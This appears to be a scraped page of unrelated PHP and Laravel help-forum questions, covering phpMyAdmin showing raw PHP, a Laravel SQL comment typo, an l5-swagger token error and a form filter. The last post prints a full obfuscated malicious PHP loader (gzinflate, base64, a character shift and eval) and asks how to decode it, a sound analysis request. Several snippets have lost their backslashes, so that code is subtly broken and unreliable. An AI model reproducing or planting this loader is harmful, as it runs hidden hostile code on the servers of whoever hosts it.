Phpmyadmin showing php code instead of website

I am using Ubuntu 22.04.4 LTS and PHP 8.2.16 (cli). I successfully installed phpmyadmin after setting up apache2 & even gave the conf file path. But PHP is not working properly and So far my apache2, php, and mysql are working fine except phpmyadmin… Whenever I run this:

https://www.<domain-name>.com/phpmyadmin/

I am left with this on my browser:

<?php

declare(strict_types=1);

use PhpMyAdminRouting;

if (! defined('ROOT_PATH')) {
    // phpcs:disable PSR1.Files.SideEffects
    define('ROOT_PATH', __DIR__ . DIRECTORY_SEPARATOR);
    // phpcs:enable
}

global $route, $containerBuilder;

require_once ROOT_PATH . 'libraries/common.inc.php';

$dispatcher = Routing::getDispatcher();
Routing::callControllerForRoute($route, $dispatcher, $containerBuilder);

I searched about this issue & the most common answer was to install libapache2-mod-php8.1 that’s what I tried to do but I encountered the following:

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
 libapache2-mod-php8.1 : Depends: php8.1-common (= 8.1.2-1ubuntu2.14) but 8.1.27-2+clp-jammy is to be installed
E: Unable to correct problems, you have held broken packages.

As I am using php8.2 in my system I also tried to install libapache2-mod-php8.2 but got the following error:

E: Package 'libapache2-mod-php8.2' has no installation candidate

I also tried re-installing phpmyadmin but nothing worked.

Also when I tried to remove all PHP & reinstall only the necessary ones with the following command:

apt-get --purge remove php-common

or

sudo apt install php8.1-common=8.1.2-1ubuntu2.14

I get the following error. (I am using SSH & have a VPS Hosting along with CloudPanel)

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
php8.1 is already the newest version (8.1.27-2+clp-jammy).
php8.1-common is already the newest version (8.1.27-2+clp-jammy).
0 upgraded, 0 newly installed, 0 to remove and 9 not upgraded.
root@srv480865:~# sudo apt install php8.1-common=8.1.2-1ubuntu2.14
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  apt-show-versions dbconfig-common dbconfig-mysql fail2ban fonts-droid-fallback fonts-noto-mono ghostscript gifsicle gsfonts
  icc-profiles-free imagemagick-6-common iotop javascript-common jpegoptim libaom3 libapt-pkg-perl libarchive-tools
  libavahi-client3 libavahi-common-data libavahi-common3 libc-client2007e libcups2 libdav1d5 libde265-0 libevent-2.1-7
  libfftw3-double3 libgs9 libgs9-common libheif1 libidn12 libijs-0.35 libjbig2dec0 libjemalloc2 libjs-bootstrap4 libjs-codemirror
  libjs-jquery libjs-jquery-mousewheel libjs-jquery-timepicker libjs-jquery-ui libjs-popper.js libjs-sizzle libjs-sphinxdoc
  libjs-underscore liblcms2-2 liblqr-1-0 libltdl7 liblua5.1-0 liblzf1 libmagickcore-6.q16-6 libmagickwand-6.q16-6 libmcrypt4
  libonig5 libopenjp2-7 libossp-uuid16 libpaper-utils libpaper1 libsensors-config libsensors5 libwebpdemux2 libwebpmux3 libx265-199
  libxmlrpc-epi0 libzip4 lua-bitop lua-cjson memcached mlock nginx node-jquery optipng php-google-recaptcha php-mariadb-mysql-kbs
  php-nikic-fast-route php-phpmyadmin-motranslator php-phpmyadmin-shapefile php-phpmyadmin-sql-parser php-phpseclib php-psr-cache
  php-psr-container php-psr-log php-symfony-cache php-symfony-cache-contracts php-symfony-config php-symfony-dependency-injection
  php-symfony-deprecation-contracts php-symfony-expression-language php-symfony-filesystem php-symfony-polyfill-php80
  php-symfony-polyfill-php81 php-symfony-service-contracts php-symfony-var-exporter php-tcpdf php-twig php-twig-i18n-extension
  php7.1 php7.1-bcmath php7.1-cli php7.1-common php7.1-curl php7.1-fpm php7.1-gd php7.1-imap php7.1-intl php7.1-json
  php7.1-mbstring php7.1-mcrypt php7.1-mysql php7.1-opcache php7.1-readline php7.1-soap php7.1-sqlite3 php7.1-xml php7.1-xmlrpc
  php7.1-xsl php7.1-zip php7.2 php7.2-bcmath php7.2-cli php7.2-common php7.2-curl php7.2-fpm php7.2-gd php7.2-imap php7.2-intl
  php7.2-json php7.2-mbstring php7.2-mysql php7.2-opcache php7.2-readline php7.2-soap php7.2-sqlite3 php7.2-xml php7.2-xmlrpc
  php7.2-xsl php7.2-zip php7.3 php7.3-bcmath php7.3-cli php7.3-common php7.3-curl php7.3-fpm php7.3-gd php7.3-imap php7.3-intl
  php7.3-json php7.3-mbstring php7.3-mysql php7.3-opcache php7.3-readline php7.3-soap php7.3-sqlite3 php7.3-xml php7.3-xmlrpc
  php7.3-xsl php7.3-zip php7.4 php7.4-bcmath php7.4-cli php7.4-common php7.4-curl php7.4-fpm php7.4-gd php7.4-imap php7.4-intl
  php7.4-json php7.4-mbstring php7.4-mysql php7.4-opcache php7.4-readline php7.4-soap php7.4-sqlite3 php7.4-xml php7.4-xmlrpc
  php7.4-xsl php7.4-zip php8.0 php8.0-bcmath php8.0-cli php8.0-common php8.0-curl php8.0-fpm php8.0-gd php8.0-imap php8.0-intl
  php8.0-mbstring php8.0-mysql php8.0-opcache php8.0-readline php8.0-soap php8.0-sqlite3 php8.0-xml php8.0-xsl php8.0-zip php8.2
  php8.2-bcmath php8.2-cli php8.2-common php8.2-curl php8.2-fpm php8.2-gd php8.2-imap php8.2-intl php8.2-mbstring php8.2-mysql
  php8.2-opcache php8.2-readline php8.2-soap php8.2-sqlite3 php8.2-xml php8.2-xsl php8.2-zip php8.3 php8.3-bcmath php8.3-cli
  php8.3-common php8.3-curl php8.3-fpm php8.3-gd php8.3-imap php8.3-intl php8.3-mbstring php8.3-mysql php8.3-opcache
  php8.3-readline php8.3-soap php8.3-sqlite3 php8.3-xml php8.3-xsl php8.3-zip poppler-data pwgen python3-pyinotify rclone
  redis-server redis-tools sqlite3 sysstat unzip uuid varnish whois zip
Use 'sudo apt autoremove' to remove them.
The following packages will be REMOVED:
  cloudpanel php-curl php-gd php-json php-mbstring php-mysql php-zip php8.1 php8.1-bcmath php8.1-cli php8.1-curl php8.1-fpm
  php8.1-gd php8.1-imap php8.1-intl php8.1-mbstring php8.1-mysql php8.1-opcache php8.1-readline php8.1-soap php8.1-sqlite3
  php8.1-xml php8.1-xsl php8.1-zip phpmyadmin
The following packages will be DOWNGRADED:
  php8.1-common
0 upgraded, 0 newly installed, 1 downgraded, 25 to remove and 9 not upgraded.
Need to get 0 B/1,127 kB of archives.
After this operation, 357 MB disk space will be freed.
Do you want to continue? [Y/n] y
(Reading database ... 158292 files and directories currently installed.)
Removing cloudpanel (2.4.1-1+clp-jammy) ...
This account is currently not available.
dpkg: error processing package cloudpanel (--remove):
 installed cloudpanel package pre-removal script subprocess returned error exit status 1
dpkg: too many errors, stopping
Errors were encountered while processing:
 cloudpanel
Processing was halted because there were too many errors.
E: Sub-process /usr/bin/dpkg returned an error code (1)

My php8.1 & php8.1-common is already updated:

php8.1 is already the newest version (8.1.27-2+clp-jammy).
php8.1-common is already the newest version (8.1.27-2+clp-jammy).

I have added ppa:ondrej/php, but these are the list of repositories:

deb http://in.archive.ubuntu.com/ubuntu/ jammy main restricted
deb http://in.archive.ubuntu.com/ubuntu/ jammy-updates main restricted
deb http://in.archive.ubuntu.com/ubuntu/ jammy universe
deb http://in.archive.ubuntu.com/ubuntu/ jammy-updates universe
deb http://in.archive.ubuntu.com/ubuntu/ jammy multiverse
deb http://in.archive.ubuntu.com/ubuntu/ jammy-updates multiverse
deb http://in.archive.ubuntu.com/ubuntu/ jammy-backports main restricted universe multiverse
deb http://in.archive.ubuntu.com/ubuntu/ jammy-security main restricted
deb http://in.archive.ubuntu.com/ubuntu/ jammy-security universe
deb http://in.archive.ubuntu.com/ubuntu/ jammy-security multiverse
deb https://ppa.launchpadcontent.net/ondrej/apache2/ubuntu/ jammy main
deb https://ppa.launchpadcontent.net/deadsnakes/ppa/ubuntu/ jammy main
deb [arch=amd64] https://repository.monarx.com/repository/ubuntu-jammy/ jammy main

Honestly, I am an Ubuntu noob & can’t figure out how to fix it. How do I resolve it?

Commenting out PHP code all of a sudden behaves differently [closed]

I have this function in Laravel

public function handle()
    {
       // Run Athena query and fetch CSV file
       $start = time();

       $csv = AthenaService::runQueryCSV('SELECT
       date,
       datetime
       FROM
       (
        SELECT
            cl.date,
            /*CASE
                WHEN cl.list_id = 4000001
                AND cl.date_inserted != ''
                /*OR cl.list_id = 4000001
                AND cl.date_inserted IS NOT NULL
                THEN SUBSTR(cl.date_inserted, 2, 16)
                ELSE SUBSTR(cl.entry_date, 2, 16)
            END AS datetime,*/
            cl.datetime,
            mc.weekend_flag,

On line 16 I committed a typo, the /* before the OR and when I look at the output on VSCode the rest of the code in the script is also commented out. But when I run the script it still works. My questions
a. I committed this error way back in 2021 and only recently noticed that all the code following this in line 16 is commented out. Did something change after the 3rd of Feb 2021 in terms of how VScode deals with commenting out code?
b. Why does the query in the script still complete even though most of it shows as commented out in VScode? Well it looks like it completes and I even executed the query in AWS Athena and it only shows lines 13 to 20 commented out and it completes

Using Bearer token in l5 swagger laravel has a.forEach error

I’ve using l5-swagger in Laravel and I need sanctum authorization with bearer token
But when I set bearer token and try an API that used this token, the swagger return this error:

“darkaonline/l5-swagger”: “^8.5”,
“zircote/swagger-php”: “^4.8”

TypeError: P.forEach is not a function
    at applySecurities (build-request.js:106:12)
    at buildRequest (build-request.js:16:9)
    at Object.execute_buildRequest [as buildRequest] (index.js:249:11)
    at actions.js:454:24
    at index.js:174:16
    at redux.mjs:331:12
    at wrap-actions.js:33:10
    at Object.newAction (system.js:175:26)
    at Object.executeRequest (system.js:487:17)
    at actions.js:501:22
(anonymous) @ system.js:490
(anonymous) @ actions.js:501
(anonymous) @ index.js:174
(anonymous) @ redux.mjs:331
(anonymous) @ wrap-actions.js:9
newAction @ system.js:175
(anonymous) @ system.js:487
handleValidationResultPass @ execute.jsx:66
handleValidationResult @ execute.jsx:80
onClick @ execute.jsx:90
....

This is my l5-swagger config

'securityDefinitions' => [
            'securitySchemes' => [
                /*
                 * Examples of Security schemes
                */
                'sanctum' => [ // Unique name of security
                    'securityDefinition' => "Bearer",
                    'type' => 'apiKey', // Valid values are "basic", "apiKey" or "oauth2".
                    'description' => 'Enter token in format (Bearer <token>)',
                    'name' => 'Authorization', // The name of the header or query parameter to be used.
                    'in' => 'header', // The location of the API key. Valid values are "query" or "header".
                ],

            ],
            'security' => [
                /*
                 * Examples of Securities
                */
                [
                    'sanctum' => []
                    /*
                    'oauth2_security_example' => [
                        'read',
                        'write'
                    ],

                    'passport' => []
                    */
                ],
            ],
        ],

This is OA annotation that I’ve used in my controller:

/**
     * @OAPost(
     *     path="/manager/user/add",
     *     tags={"Manager"},
     *     security={"sanctum": {}},
     *     @OAResponse(response="200", description="An example resource",@OAJsonContent()),
     *     @OAResponse(response="401", description="unAutosize",@OAJsonContent()),
     *     @OARequestBody(
     *     required=true,
     *     @OAJsonContent(
     *     required={"name", "email","password"},
     *      @OAProperty(
     *          property="name",
     *          type="string",
     *          ),
     *      @OAProperty(
     *          property="email",
     *          type="string",
     *          ),
     *      @OAProperty(
     *          property="password",
     *          type="string"
     *          )
     *      )))
     * )
     */



Handling request from a form with multiple inputs

I’m trying to make a simple filter for my e commerce website. When you click on an input tag of a form, it will send a request to server side to handle the logic. However, I’m still stuck how to get the value of the clicked input among other input fields through request. I’m using laravel as my back-end language

Here is my blade file:

<form id="product-filter" method="GET" class="w-1/5 flex flex-col gap-3">
        <div id="cate_selector" class="shadow-lg bg-slate-200 rounded-xl w-full h-fit px-2 pb-2 flex flex-col gap-2 items-center">
            <p class="uppercase font-bold text-xl mt-2">Danh mục</p>
            <div class="bg-white w-fit px-2 rounded-full">
                <input class="text-sm p-1 bg-transparent focus:outline-none" type="text" placeholder="Tìm kiếm danh mục">
                <i class="fa-solid text-sm fa-magnifying-glass"></i>
            </div>
            <input value="All" name="applied_filter" type="submit" class="filter-button flex justify-between capitalize text-slate-600 font-semibold text-start gap-1 w-full mx-2 p-1 rounded-lg hover:bg-slate-300 transition-colors">
            @foreach($categories as $category)
                <input value="{{$category->name}}" name="applied_filter" type="submit" class="filter-button flex justify-between capitalize text-slate-600 font-semibold text-start gap-1 w-full mx-2 p-1 rounded-lg hover:bg-slate-300 transition-colors">
            @endforeach
        </div>
        <div id="price_filter" class="shadow-lg bg-slate-200 rounded-xl w-full h-fit px-2 pb-2 flex flex-col items-center">
            Price Filter
            <div>
                <div id="slider" class="w-40"></div>
                <p id="minPrice">Min Price: $<span></span></p>
                <p id="maxPrice">Max Price: $<span></span></p>
            </div>
            <button type="submit">Apply</button>
        </div>
</form>

And the logic method in server side:

public function filterProduct(Request $request)
    {   
        $category = $request->input('applied_filter');

        $choosen_cart = ProductCategory::select('id')->where('name', $category)->first();
        $products = Product::where('category_id', $choosen_cart)->paginate(8);

        return view('product_gallery', compact('products'))->with('cate', $category);

    }

I was trying to access the clicked input’s value using $category = $request->input('applied_filter'); but it seems to return null value.

how to decrypt this php file

how to decrypt this ? anyone can help me to decrypt this malicious file ?

<?php function debBe($YgoM)

{ 
$YgoM=gzinflate(base64_decode($YgoM));
 for($i=0;$i<strlen($YgoM);$i++)
 {
$YgoM[$i] = chr(ord($YgoM[$i])-1);
 }
 return $YgoM;
 }eval(debBe("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